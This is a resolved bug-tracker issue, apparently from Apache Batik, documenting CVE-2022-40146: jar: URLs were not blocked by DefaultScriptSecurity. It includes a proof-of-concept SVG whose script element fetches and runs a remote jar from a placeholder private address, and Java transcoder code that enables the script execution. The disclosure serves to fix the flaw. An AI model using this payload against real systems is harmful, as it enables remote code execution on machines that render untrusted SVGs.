[BATIK-1335] Jar url should be blocked by DefaultScriptSecurity

• Type: Bug
• Status: Resolved
• Priority: Major
• Resolution: Fixed
• Fix Version/s: 1.15
• Assignee: Simon Steiner
• Reporter: Simon Steiner
• Created: 07/Sep/22 08:20
• Updated: 23/Nov/22 18:06
• Resolved: 07/Sep/22 08:22

Description

Only affects the batik-bridge component

<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink" width="450" height="500"
viewBox="0 0 450 500">
<script type="application/java-archive"
xlink:href="jar:http://192.168.1.10/poc.jar!/"></script>
</svg>

should be blocked when using:

JPEGTranscoder t = new JPEGTranscoder();
t.addTranscodingHint(JPEGTranscoder.KEY_EXECUTE_ONLOAD, Boolean.TRUE);
t.addTranscodingHint(JPEGTranscoder.KEY_ALLOWED_SCRIPT_TYPES, "application/java-archive,");
FileInputStream stream = new FileInputStream("test.svg");
TranscoderInput input = new TranscoderInput(stream);
FileOutputStream fos = new FileOutputStream("out.jpg");
TranscoderOutput output = new TranscoderOutput(fos);
t.transcode(input, output);
fos.close();

CVE-2022-40146